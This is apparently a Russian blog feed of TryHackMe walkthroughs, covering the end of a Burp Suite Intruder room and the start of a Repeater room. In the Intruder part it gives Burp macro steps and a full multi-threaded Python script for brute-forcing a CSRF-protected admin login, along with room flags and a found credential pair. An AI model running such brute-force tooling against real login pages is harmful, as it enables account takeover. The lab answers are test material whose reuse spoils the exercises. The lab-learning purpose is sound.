  <p id="qikC">Видим что нашлось 6 - 57 - 78 - мы про них знали, но появились новые 47 и 83</p>
  <figure id="PJ9W" class="m_original">
    <img src="https://img1.teletype.in/files/cc/da/ccda0d3a-cb42-4003-87fc-7062d0d6d1e5.png" width="1377" />
  </figure>
  <p id="ZqrJ">47</p>
  <figure id="kHtR" class="m_original">
    <img src="https://img3.teletype.in/files/a5/5a/a55a45bb-6446-441c-a328-c47945ab8cde.png" width="794" />
  </figure>
  <p id="wEci">83 - итог идор уязвимость есть</p>
  <figure id="RzTU" class="m_original">
    <img src="https://img4.teletype.in/files/70/e1/70e1d163-c12e-4ddc-a40b-781eac885a49.png" width="881" />
  </figure>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="I4m6"><strong>Примечание:</strong> Вам необходимо отправить запрос, находясь в системе.</p>
    <p id="hahI">Вопрос: Какой тип атаки лучше всего подходит для решения этой задачи?</p>
    <p id="yHEW">Ответ: Sniper</p>
    <p id="xm9W">Вопрос: Что это за флаг?</p>
    <p id="lR8t">Ответ:THM{MTMxNTg5NTUzMWM0OWRlYzUzMDVjMzJl}</p>
  </section>
  <p id="9lGh"></p>
  <h2 id="0Lvn">12. Испытание «Дополнительная миля»</h2>
  <p id="BCaJ">В этом дополнительном упражнении мы рассмотрим более сложный вариант атаки с подбором учетных данных, которую мы проводили ранее. Однако на этот раз были приняты дополнительные меры, чтобы усложнить перебор паролей. Если вы умеете использовать Burp Macros, вы можете попробовать выполнить это задание без приведенных ниже инструкций. В противном случае, давайте перейдем к пошаговому руководству.</p>
  <h4 id="p1Pz">Обработка запроса</h4>
  <p id="GG8r">Для начала перехватите запрос <a href="http://10.49.129.42/admin/login/" target="_blank">http://10.49.129.42/admin/login/</a>и проанализируйте ответ. Вот пример ответа:</p>
  <figure id="bF3l" class="m_original">
    <img src="https://img3.teletype.in/files/62/11/621156c0-8adc-43d8-980a-76b56dec8c0e.png" width="683" />
  </figure>
  <p id="KGqu">Пример ответа</p>
  <pre id="dNvt">HTTP/1.1 200 OK
Сервер: nginx/1.18.0 (Ubuntu)
Дата: пятница, 20 августа 2021 г., 22:31:16 по Гринвичу
Content-Type: text/html; charset=utf-8
Соединение: закрыто
Set-Cookie: session=eyJ0b2tlbklEIjoiMzUyNTQ5ZjgxZDRhOTM5YjVlMTNlMjIzNmI0ZDlkOGEifQ.YSA-mQ.ZaKKsUnNsIb47sjlyux_LN8Qst0 ; HttpOnly; Path=/
Разные: Печенье
Front-End-Https: on
Content-Length: 3922
---
&lt;form method=&quot;POST&quot;&gt;
    &lt;div class=&quot;form-floating mb-3&quot;&gt;
        &lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=username placeholder=&quot;Имя пользователя&quot; required&gt;
        &lt;label for=&quot;username&quot;&gt;Имя пользователя&lt;/label&gt;
    &lt;/div&gt;
    &lt;div class=&quot;form-floating mb-3&quot;&gt;
        &lt;input class=&quot;form-control&quot; type=&quot;password&quot; name=password placeholder=&quot;Пароль&quot; required&gt;
        &lt;label for=&quot;password&quot;&gt;Пароль&lt;/label&gt;
    &lt;/div&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;loginToken&quot; value=&quot;84c6358bbf1bd8000b6b63ab1bd77c5e&quot;&gt;
    &lt;div class=&quot;d-grid&quot;&gt;&lt;button class=&quot;btn btn-warning btn-lg&quot; type=&quot;submit&quot;&gt;Войти!&lt;/button&gt;&lt;/div&gt;
&lt;/form&gt;</pre>
  <p id="d0CR">В этом ответе мы видим, что помимо полей имени пользователя и пароля, теперь установлен сессионный cookie, а также токен CSRF ( <strong>Cross-Site Request Forgery</strong> ) в форме в виде скрытого поля. Обновление страницы показывает, что и <strong>сессионный</strong> cookie, и <strong>loginToken</strong> изменяются при каждом запросе. Это означает, что при каждой попытке входа в систему нам необходимо извлекать действительные значения как для сессионного cookie, так и для loginToken.</p>
  <p id="Ot5O">Для этого мы будем использовать <strong>макросы Burp</strong> , чтобы определить повторяющийся набор действий (макрос), которые будут выполняться перед каждым запросом. Этот макрос будет извлекать уникальные значения для cookie сессии и loginToken, заменяя их в каждом последующем запросе нашей атаки.</p>
  <h4 id="REgn">Учебное пособие</h4>
  <ol id="nN6K">
    <li id="ki3R">Перейдите по ссылке  <a href="http://10.49.129.42/admin/login/" target="_blank">http://10.49.129.42/admin/login/</a>. Активируйте <strong>функцию «Перехват»</strong> в модуле «Прокси» и попробуйте войти в систему. Перехватите запрос и отправьте его в Intruder.</li>
  </ol>
  <figure id="p90Y" class="m_original">
    <img src="https://img1.teletype.in/files/83/14/83146ebf-8c29-4e97-b15a-2166a52b5c57.png" width="1377" />
  </figure>
  <ol id="83yP">
    <li id="uU0Y">Настройте позиции так же, как мы это делали для подбора паролей для входа в службу поддержки методом перебора:</li>
    <ul id="h9N1">
      <li id="pYUi">Установите тип атаки на «Pitchfork».</li>
      <li id="VY6l">Очистите все предопределенные позиции и выберите только поля ввода имени пользователя и пароля. Наш макрос обработает оставшиеся две позиции.</li>
    </ul>
    <li id="lSbW">Теперь перейдите на вкладку «Полезные нагрузки» и загрузите те же списки имен пользователей и паролей, которые мы использовали для атаки на вход в службу поддержки. До этого момента мы настраивали Intruder практически так же, как и при предыдущей атаке с использованием украденных учетных данных; вот здесь-то все и начинает усложняться.</li>
  </ol>
  <figure id="fOp0" class="m_original">
    <img src="https://img1.teletype.in/files/0b/85/0b85de65-e2e3-4fee-95a3-f4e639d2df75.png" width="499" />
  </figure>
  <ol id="qe1q">
    <li id="9TYW">После обработки параметров имени пользователя и пароля нам нужно найти способ получить постоянно меняющийся loginToken и cookie сессии. К сожалению, &quot;рекурсивный grep&quot; здесь не сработает из-за ответа перенаправления, поэтому мы не можем сделать это полностью в Intruder — нам потребуется создать макрос. Макросы позволяют нам многократно выполнять один и тот же набор действий. В данном случае мы просто хотим отправить GET-запрос на адрес <code>/admin/login/</code>.К счастью, настройка — довольно простой процесс. В этом процессе, сравнительно говоря, много этапов, поэтому на следующем GIF-изображении показан весь процесс:</li>
    <ul id="lHwH">
      <li id="KShk">Перейдите на главную вкладку «Настройки» в правом верхнем углу Burp.</li>
    </ul>
  </ol>
  <figure id="H4UO" class="m_original">
    <img src="https://img1.teletype.in/files/8e/42/8e423cd7-a153-4d4b-a12f-4f7af6832eb8.png" width="239" />
  </figure>
  <ol id="jC6R">
    <ul id="9xqy">
      <li id="DcCw">Нажмите на категорию &quot;Сессии&quot;.</li>
    </ul>
  </ol>
  <figure id="n9Hm" class="m_original">
    <img src="https://img2.teletype.in/files/97/45/9745ae20-4d50-4f71-88ee-d37e5a37e591.png" />
  </figure>
  <ol id="Re4g">
    <ul id="RZ8O">
      <li id="9LTs">Прокрутите страницу вниз до раздела «Макросы» и нажмите кнопку <strong>«Добавить»</strong> .</li>
    </ul>
  </ol>
  <figure id="MZ4W" class="m_original">
    <img src="https://img4.teletype.in/files/b2/3b/b23b697d-c3c4-4911-b898-d840b9c34046.png" width="875" />
  </figure>
  <ol id="x7jt">
    <ul id="y8YS">
      <li id="8o53">В появившемся меню отобразится история наших запросов. Если в списке еще нет GET-запроса  <a href="http://10.49.129.42/admin/login/" target="_blank">http://10.49.129.42/admin/login/</a> , перейдите по этой ссылке в браузере, и вы увидите подходящий запрос в списке.</li>
    </ul>
  </ol>
  <figure id="6XHw" class="m_original">
    <img src="https://img4.teletype.in/files/75/3b/753b4f48-2e39-4d1f-a4f5-0429590174ab.png" width="1086" />
  </figure>
  <ol id="USKg">
    <ul id="kqnG">
      <li id="SVFW">Выбрав запрос, нажмите <strong>ОК</strong> .</li>
      <li id="5r9F">Наконец, дайте макросу подходящее имя, а затем снова нажмите кнопку <strong>ОК,</strong> чтобы завершить процесс.</li>
    </ul>
  </ol>
  <figure id="tv3v" class="m_original">
    <img src="https://img1.teletype.in/files/cf/2e/cf2ee866-64a7-4887-931c-315b57b4b63a.png" width="376" />
  </figure>
  <ol id="jpFa">
    <li id="jQoc">Теперь, когда макрос определен, нам необходимо установить правила обработки сессий, которые определяют, как следует использовать макрос.</li>
    <ul id="hvZV">
      <li id="ly6P">Оставаясь в разделе «Сессии» основных настроек, прокрутите вверх до раздела «Правила обработки сессий» и выберите « <strong>Добавить</strong> новое правило».</li>
    </ul>
  </ol>
  <figure id="TppC" class="m_original">
    <img src="https://img3.teletype.in/files/a2/54/a254a70a-750f-4534-9b57-d4cc9b1d9015.png" />
  </figure>
  <ol id="G2xj">
    <ul id="0937">
      <li id="yDIl">Откроется новое окно с двумя вкладками: «Подробности» и «Область применения». По умолчанию мы находимся на вкладке «Подробности».</li>
      <li id="obks">Введите соответствующее описание, затем перейдите на вкладку «Область применения».</li>
    </ul>
  </ol>
  <figure id="1cZf" class="m_original">
    <img src="https://img3.teletype.in/files/25/56/2556b966-d940-4e5b-8a52-5b95182ea3bc.png" width="737" />
  </figure>
  <ol id="Vu7j">
    <ul id="fhU9">
      <li id="VubM">В разделе «Область применения инструментов» снимите флажки со всех полей, кроме «Нарушитель» — нам не нужно, чтобы это правило применялось где-либо еще.</li>
    </ul>
  </ol>
  <figure id="xZcO" class="m_original">
    <img src="https://img4.teletype.in/files/fa/7d/fa7dbf81-7dce-496b-882a-e4c886cbf29b.png" width="455" />
  </figure>
  <ol id="BzRk">
    <ul id="n8ul">
      <li id="nFpT">В разделе «Область действия URL» выберите «Использовать область действия набора инструментов»; это настроит макрос на работу только с сайтами, добавленными в глобальную область действия (как обсуждалось в <a href="https://tryhackme.com/room/burpsuitebasics" target="_blank">разделе «Основы Burp</a> »). Если вы не задали глобальную область действия, оставьте параметр «Использовать пользовательскую область действия» по умолчанию и добавьте <a href="http://10.49.129.42/" target="_blank">http://10.49.129.42/</a>в эту область действия.</li>
    </ul>
  </ol>
  <figure id="3Mf8" class="m_original">
    <img src="https://img3.teletype.in/files/ed/db/eddb5da3-4123-4271-8e77-a96f6b68c1d9.png" width="494" />
  </figure>
  <ol id="Olxy">
    <li id="H9KK">Теперь нам нужно вернуться на вкладку «Подробности» и посмотреть раздел «Действия правила». В текущем виде этот макрос будет перезаписывать все параметры в наших запросах Intruder перед их отправкой; это замечательно, поскольку это означает, что токены авторизации и сессионные cookie будут добавлены непосредственно в наши запросы. Тем не менее, перед началом атаки следует ограничить круг обновляемых параметров и cookie:Следующий GIF-файл демонстрирует заключительный этап процесса:</li>
    <ul id="YkUt">
      <li id="JibL">Нажмите кнопку <strong>«Добавить»</strong>  — появится выпадающее меню со списком действий, которые можно добавить.</li>
      <li id="rMJw">Выберите пункт «Запустить макрос» из этого списка.</li>
    </ul>
  </ol>
  <figure id="qSdk" class="m_original">
    <img src="https://img1.teletype.in/files/8f/3b/8f3b9e4d-6e1a-454e-a94b-8b57ca30e458.png" width="740" />
  </figure>
  <ol id="q2uf">
    <ul id="jTyr">
      <li id="vDy5">В появившемся новом окне выберите макрос, который мы создали ранее.</li>
    </ul>
    <ul id="AzC3">
      <li id="g3vl">Выберите «Обновить только следующие параметры и заголовки», затем нажмите кнопку « <strong>Редактировать»</strong>  рядом с полем ввода под переключателем.</li>
      <li id="FXdp">В текстовом поле «Введите новый элемент» введите «loginToken». Нажмите <strong>«Добавить»</strong> , затем <strong>«Закрыть»</strong> .</li>
      <li id="zUsD">Выберите «Обновить только следующие файлы cookie», затем нажмите соответствующую кнопку <strong>«Редактировать»</strong> .</li>
      <li id="8GHp">Введите &quot;session&quot; в текстовое поле &quot;Введите новый элемент&quot;. Нажмите &quot; <strong>Добавить&quot;</strong> , затем <strong>&quot;Закрыть&quot;</strong> .</li>
    </ul>
  </ol>
  <p id="qwhh"></p>
  <ol id="pVm9">
    <ul id="nn8D">
      <li id="BpGS">Наконец, нажмите кнопку <strong>ОК</strong> , чтобы подтвердить действие.</li>
    </ul>
    <li id="Or68">Нажмите <strong>ОК</strong> , и готово!</li>
    <li id="Epwz">Теперь у вас должен быть определен макрос, который будет подставлять токен CSRF и cookie сессии. Осталось только переключиться обратно на Intruder и начать атаку! <strong>Примечание:</strong> В ходе этой атаки на каждый запрос должен приходить ответ с кодом состояния 302. Если вы видите ошибки 403, значит, ваш макрос работает некорректно.</li>
    <li id="31ut">Как и в случае с атакой с использованием украденных учетных данных для входа в службу поддержки, коды ответов здесь одинаковы (302 Redirects). Снова отсортируйте ответы по длине, чтобы найти действительные учетные данные. Результаты будут не такими однозначными, как в прошлый раз – вы увидите довольно много ответов разной длины, однако ответ, указывающий на успешный вход в систему, все равно должен быть значительно короче.</li>
    <li id="mxaS">Используйте найденные вами учетные данные для входа в систему (возможно, вам потребуется обновить страницу входа перед вводом учетных данных).</li>
  </ol>
  <figure id="z9dZ" class="m_original">
    <img src="https://img1.teletype.in/files/86/6f/866ff8e3-4777-416f-9d4a-531acccb4f22.gif" width="1274" />
  </figure>
  <p id="EzmI">ну по итогу у меня не получилось, но выручил ИИ быстрый PoC всегда можно написать на коленке</p>
  <figure id="Y3uX" class="m_original">
    <img src="https://img4.teletype.in/files/bd/f7/bdf7c306-76f2-473a-a023-701c71a35c34.png" width="418" />
  </figure>
  <p id="cVfr"></p>
  <p id="ZitN">Если кому то надо вот</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="TJbh"><code>#!/usr/bin/env python3<br />&quot;&quot;&quot;<br />Multi-threaded brute-force login with dynamic session cookie + CSRF token.<br />For educational / CTF lab use only.<br />&quot;&quot;&quot;</code></p>
    <p id="jpeq"><code>import requests<br />import re<br />import sys<br />import threading<br />from concurrent.futures import ThreadPoolExecutor, as_completed</code></p>
    <p id="7pUH"><code># ─── CONFIG ───────────────────────────────────────────────────────────<br />TARGET       = &quot;http://10.49.129.42&quot;<br />LOGIN_URL    = f&quot;{TARGET}/admin/login/&quot;<br />USERNAMES    = &quot;/home/kali/Desktop/passbastion/usernames.txt&quot;<br />PASSWORDS    = &quot;/home/kali/Desktop/passbastion/passwords.txt&quot;<br />THREADS      = 100    # ← подкрути под свою машину / лабу (10-30)<br />TIMEOUT      = 10</code></p>
    <p id="LyVX"><code>TOKEN_RE = re.compile(r&#x27;name=&quot;loginToken&quot;\s+value=&quot;([^&quot;]+)&quot;&#x27;)<br />FAIL_MARKERS = [&quot;Invalid credentials&quot;, &quot;incorrect&quot;, &quot;invalid&quot;, &quot;Войти!&quot;, &quot;login&quot;]</code></p>
    <p id="q7vb"><code># Shared state<br />found = threading.Event()<br />counter = 0<br />counter_lock = threading.Lock()<br />total = 0</code></p>
    <p id="HwUy"><code><br />def load_wordlist(path: str) -&gt; list[str]:<br />    with open(path, &quot;r&quot;, encoding=&quot;utf-8&quot;, errors=&quot;ignore&quot;) as f:<br />        return [line.strip() for line in f if line.strip()]</code></p>
    <p id="qK65"><code><br />def try_login(user: str, pwd: str) -&gt; tuple[bool, str, str]:<br />    &quot;&quot;&quot;One attempt: GET fresh token → POST creds → check result.&quot;&quot;&quot;<br />    global counter<br />    if found.is_set():<br />        return False, user, pwd</code></p>
    <p id="dCoi"><code>    s = requests.Session()<br />    resp = s.get(LOGIN_URL, timeout=TIMEOUT)<br />    m = TOKEN_RE.search(resp.text)<br />    if not m:<br />        return False, user, pwd<br />    token = m.group(1)</code></p>
    <p id="AeHR"><code>    resp = s.post(<br />        LOGIN_URL,<br />        data={&quot;username&quot;: user, &quot;password&quot;: pwd, &quot;loginToken&quot;: token},<br />        timeout=TIMEOUT,<br />        allow_redirects=True,<br />    )</code></p>
    <p id="nlXS"><code>    with counter_lock:<br />        counter += 1<br />        sys.stdout.write(f&quot;\r[{counter}/{total}] {user}:{pwd}              &quot;)<br />        sys.stdout.flush()</code></p>
    <p id="puWW"><code>    # Success checks<br />    if resp.url != LOGIN_URL and &quot;/login&quot; not in resp.url:<br />        return True, user, pwd<br />    body = resp.text.lower()<br />    if not any(m.lower() in body for m in FAIL_MARKERS):<br />        return True, user, pwd</code></p>
    <p id="zmPx"><code>    return False, user, pwd</code></p>
    <p id="akXS"><code><br />def main():<br />    global total<br />    usernames = load_wordlist(USERNAMES)<br />    passwords = load_wordlist(PASSWORDS)<br />    total = len(usernames) * len(passwords)</code></p>
    <p id="EWTh"><code>    print(f&quot;[*] Target:    {LOGIN_URL}&quot;)<br />    print(f&quot;[*] Users:     {len(usernames)}&quot;)<br />    print(f&quot;[*] Passwords: {len(passwords)}&quot;)<br />    print(f&quot;[*] Total:     {total} combinations&quot;)<br />    print(f&quot;[*] Threads:   {THREADS}\n&quot;)</code></p>
    <p id="3Uht"><code>    pairs = [(u, p) for u in usernames for p in passwords]</code></p>
    <p id="2eaT"><code>    with ThreadPoolExecutor(max_workers=THREADS) as pool:<br />        futures = {pool.submit(try_login, u, p): (u, p) for u, p in pairs}<br />        for future in as_completed(futures):<br />            if found.is_set():<br />                break<br />            try:<br />                ok, user, pwd = future.result()<br />                if ok:<br />                    found.set()<br />                    print(f&quot;\n\n[+] SUCCESS! → {user}:{pwd}\n&quot;)<br />                    pool.shutdown(wait=False, cancel_futures=True)<br />                    sys.exit(0)<br />            except Exception:<br />                pass</code></p>
    <p id="j4jo"><code>    print(f&quot;\n\n[-] No valid credentials found.&quot;)</code></p>
    <p id="M1KX"><code><br />if __name__ == &quot;__main__&quot;:<br />    main()</code></p>
  </section>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="oUjo">Вопрос: Какая комбинация имени пользователя и пароля указывает на успешный вход в систему? Формат ответа: &quot;имя пользователя:пароль&quot;.</p>
    <p id="ngmF">Ответ: o.bennett:bella1</p>
  </section>
  <h2 id="5HWr">13. Заключение</h2>
  <p id="8FoC">Поздравляем с завершением строительства комнаты Burp Suite Intruder!</p>
  <p id="t3vX">К этому моменту у вас должно быть четкое понимание того, как эффективно использовать Intruder для автоматизации запросов и выполнения различных типов атак.</p>
  <p id="KKgP">В следующем зале модуля мы рассмотрим некоторые <a href="https://tryhackme.com/room/burpsuiteom" target="_blank">другие модули Burp Suite</a> !</p>
  <figure id="Nltr" class="m_original">
    <img src="https://img1.teletype.in/files/09/59/0959047b-36a6-487a-9e77-3ae78ca000e2.png" width="911" />
  </figure>
  <hr />
  <p id="Y2xb"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_41</guid><link>https://teletype.in/@fnay_offensive/post_41?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_41?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 37. Burp Suite: Repeater</title><pubDate>Tue, 24 Feb 2026 08:14:01 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/3b/29/3b29debc-b0e0-4ac0-96f4-a90779785182.png"></media:content><category>obuchenie_post</category><description><![CDATA[<img src="https://img1.teletype.in/files/09/c1/09c1e8aa-1599-43e6-9bd3-2aa858f9889d.jpeg"></img>Узнайте, как использовать Repeater для дублирования запросов в Burp Suite.]]></description><content:encoded><![CDATA[
  <p id="czV5">Узнайте, как использовать Repeater для дублирования запросов в Burp Suite.</p>
  <figure id="MBsS" class="m_original">
    <img src="https://img1.teletype.in/files/09/c1/09c1e8aa-1599-43e6-9bd3-2aa858f9889d.jpeg" width="1200" />
  </figure>
  <h2 id="0Crr">1. Введение</h2>
  <h4 id="gZy4">Добро пожаловать в комнату Burp Suite Repeater!</h4>
  <figure id="8MSM" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <p id="nmGG">В этой комнате мы рассмотрим расширенные возможности фреймворка Burp Suite, сосредоточившись на модуле Burp Suite Repeater. Опираясь на базовые знания, полученные в <a href="https://tryhackme.com/room/burpsuitebasics" target="_blank">комнате «Основы Burp»</a> , мы углубимся в мощные функции инструмента Repeater. Вы узнаете, как обрабатывать и повторно отправлять перехваченные запросы, а также мы рассмотрим различные опции и функции, доступные в этом замечательном модуле. На протяжении всей комнаты мы будем приводить практические примеры, включая упражнение из реальной жизни, чтобы закрепить ваше понимание обсуждаемых концепций.</p>
  <figure id="gBOi" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="tLGL">Если вы новичок в Burp Suite или еще не прошли базовый курс Burp Basics, мы рекомендуем сделать это перед продолжением. Базовый курс Burp Basics дает необходимые знания для этого курса и улучшит ваш опыт обучения.</p>
  <p id="tSjB">Разверните целевую виртуальную машину, подключенную к этой задаче, нажав зеленую кнопку <strong>«Запустить машину»</strong> . Также запустите AttackBox, нажав синюю кнопку <strong>«Запустить AttackBox»</strong> в верхней части этого окна, если вы используете не свою собственную машину. Затем запустите Burp и следуйте инструкциям в следующих задачах.</p>
  <p id="weIX"></p>
  <h2 id="NO11">2. Что такое ретранслятор?</h2>
  <p id="D9kM">Прежде чем использовать Burp Suite Repeater, давайте ознакомимся с его назначением и функционалом.</p>
  <p id="blLy">По сути, Burp Suite Repeater позволяет нам изменять и повторно отправлять перехваченные запросы на выбранный нами целевой адрес. Он позволяет нам брать запросы, перехваченные в Burp Proxy , и манипулировать ими, отправляя их многократно по мере необходимости. В качестве альтернативы мы можем вручную создавать запросы с нуля, аналогично использованию инструмента командной строки, такого как cURL.</p>
  <p id="kEGf">Возможность редактировать и повторно отправлять запросы несколько раз делает Repeater незаменимым инструментом для ручного исследования и тестирования конечных точек. Он предоставляет удобный графический интерфейс для создания полезной нагрузки запросов и предлагает различные варианты отображения ответа, включая механизм рендеринга для графического представления.</p>
  <p id="T10M">Интерфейс ретранслятора состоит из шести основных разделов, как показано на приведенной ниже схеме с пояснениями:</p>
  <figure id="SB7Z" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/3a4a4ee2008a2ed6a1aa8e9af3601ab2.png" width="1283" />
  </figure>
  <ol id="uZ2g">
    <li id="qikg"><strong>Список запросов</strong> : Расположен в верхнем левом углу вкладки и отображает список запросов к ретранслятору. Можно обрабатывать несколько запросов одновременно, и каждый новый запрос, отправленный в ретранслятор, будет отображаться здесь.</li>
    <li id="J49o"><strong>Элементы управления запросами</strong> : Расположенные непосредственно под списком запросов, эти элементы управления позволяют отправлять запросы, отменять зависшие запросы и перемещаться по истории запросов.</li>
    <li id="Uj4Y"><strong>Разделы «Запрос» и «Ответ»</strong> : Занимая большую часть интерфейса, этот раздел отображает <strong>запросы</strong> и <strong>ответы</strong> . В разделе «Запрос» можно отредактировать запрос, а затем переслать его, при этом соответствующий ответ будет отображен в разделе «Ответ».</li>
    <li id="a9fw"><strong>Параметры компоновки</strong> : Расположенные в правом верхнем углу окна «Запрос/Ответ», эти параметры позволяют настроить компоновку окон «Запрос» и «Ответ». По умолчанию используется горизонтальная компоновка, но можно также выбрать вертикальную компоновку или объединить окна в отдельные вкладки.</li>
    <li id="BVRn"><strong>Инспектор</strong> : Расположенный справа, Инспектор позволяет анализировать и изменять запросы более интуитивно понятным способом, чем при использовании стандартного редактора. Мы рассмотрим эту функцию в одном из последующих заданий.</li>
    <li id="GY3X"><strong>Поле « Цель</strong> » расположено над инспектором и указывает IP-адрес или домен, на который отправляются запросы. Когда запросы в Repeater отправляются из других компонентов Burp Suite , это поле заполняется автоматически.</li>
  </ol>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="09Hd">Вопрос: Какие разделы обеспечивают более интуитивно понятное управление нашими запросами?</p>
    <p id="lCW1">Ответ: <strong>Inspector</strong></p>
  </section>
  <h2 id="Gmb1">3. Основные правила использования</h2>
  <p id="VAc9">На данный момент нам известен интерфейс приложения, но как эффективно его использовать?</p>
  <p id="MqHe">Хотя ручное создание запросов является одним из вариантов, чаще всего запрос перехватывается с помощью модуля Proxy , а затем передается в Repeater для дальнейшего редактирования и повторной отправки.</p>
  <p id="KzaU">После того как запрос будет перехвачен модулем Proxy , мы можем отправить его в Repeater, щелкнув правой кнопкой мыши по запросу и выбрав <strong>«Отправить в Repeater»</strong> , или используя сочетание клавиш <code>Ctrl + R</code>.</p>
  <p id="luNn">Вернувшись к Repeater, мы видим, что наш перехваченный запрос теперь доступен в представлении Request:</p>
  <figure id="KuDM" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/ae762b56b7ecb30a0d861221d41502f5.png" width="1051" />
  </figure>
  <p id="SckC">Теперь в разделах «Цель» и «Инспектор» отображается соответствующая информация, хотя ответа пока нет. После нажатия кнопки <strong>«Отправить»</strong> быстро заполняется окно «Ответ»:</p>
  <figure id="EzAH" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/11da62185a73223355048c2fc04a1340.png" width="1047" />
  </figure>
  <p id="vHRr">Если мы захотим изменить какой-либо аспект запроса, мы можем просто ввести текст в поле «Запрос» и снова нажать <strong>«Отправить» . Это действие соответствующим образом обновит поле «Ответ» справа. Например, изменение заголовка «Соединение</strong> » с «close» на «open» приведет к получению ответа с заголовком <strong>«Соединение»</strong> , содержащим значение «keep-alive»:</p>
  <figure id="wDEN" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/67d1462106edc86bd676315b3c0cba08.png" width="693" />
  </figure>
  <p id="djbC">Кроме того, мы можем использовать кнопки истории, расположенные справа от кнопки «Отправить», для навигации по истории изменений, что позволяет нам перемещаться вперед или назад по мере необходимости.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="PWOm">Вопрос: Какое представление будет заполнено при отправке запроса из модуля Proxy в Repeater?</p>
    <p id="atf5">Ответ: Request</p>
  </section>
  <h2 id="35Rs">4. Панель инструментов анализа сообщений</h2>
  <p id="9jhI">Repeater предоставляет нам различные варианты отображения запросов и ответов, от шестнадцатеричного вывода до полностью отрисованной страницы.</p>
  <p id="Fs3Y">Чтобы ознакомиться с этими возможностями, можно обратиться к разделу, расположенному над полем для ответа, где доступны следующие четыре кнопки просмотра:</p>
  <figure id="9FRs" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/635ad62b0204b104bbd58489716eccde.png" width="256" />
  </figure>
  <p id="Lg11">Нам предлагаются следующие варианты отображения:</p>
  <ol id="vZAQ">
    <li id="jhI6"><strong>Pretty</strong> : Это вариант по умолчанию, который берет исходный ответ и применяет к нему небольшие улучшения форматирования для повышения читаемости.</li>
    <li id="XXqc"><strong>Raw</strong> : Этот параметр отображает неизмененный ответ, полученный непосредственно от сервера, без какого-либо дополнительного форматирования.</li>
    <li id="GHCB"><strong>Шестнадцатеричный режим</strong> : Выбрав этот режим, мы можем просмотреть ответ в байтовом представлении, что особенно полезно при работе с бинарными файлами.</li>
    <li id="Xske"><strong>Рендеринг</strong> : Опция рендеринга позволяет визуализировать страницу так, как она будет выглядеть в веб-браузере. Хотя она не часто используется в Repeater, поскольку мы обычно фокусируемся на исходном коде, она все же представляет собой ценную функцию. В большинстве случаев достаточно опции <strong>Pretty</strong> . Однако полезно ознакомиться с использованием остальных трех опций.</li>
  </ol>
  <p id="aEKz">Рядом с кнопками просмотра, справа, находится кнопка <strong>«Показать непечатаемые</strong> символы» ( <code>\n</code>). Эта функция позволяет отображать символы, которые могут быть невидимы при использовании параметров <strong>«Красивый»</strong> или <strong>«Необработанный»</strong> . Например, каждая строка в ответе обычно заканчивается символами <code>\r\n</code>, представляющими собой возврат каретки с последующей новой строкой. Эти символы играют важную роль в интерпретации HTTP- заголовков.</p>
  <p id="TaDm">Хотя для большинства задач этот вариант не является обязательным, в определенных ситуациях он может оказаться полезным.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="5Sqp">Вопрос: Какой из вариантов  позволяет визуализировать страницу так, как она будет выглядеть в веб-браузере?</p>
    <p id="6vDi">Ответ: Render</p>
  </section>
  <h2 id="wUed">5. Инспектор</h2>
  <p id="ZjZx">Инспектор — это дополнительная функция к представлениям запросов и ответов в модуле Repeater. Он также используется для получения визуально организованной разбивки запросов и ответов, а также для экспериментов, чтобы увидеть, как изменения, внесенные с помощью Инспектора более высокого уровня, влияют на эквивалентные исходные версии.</p>
  <p id="OsjX">Инспектор можно использовать как в модуле Proxy , так и в модуле Repeater. В обоих случаях он расположен в правой части окна и отображает список компонентов запроса и ответа:</p>
  <figure id="fMH7" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/6c95db764fe7491d938485256fd1dd87.png" width="504" />
  </figure>
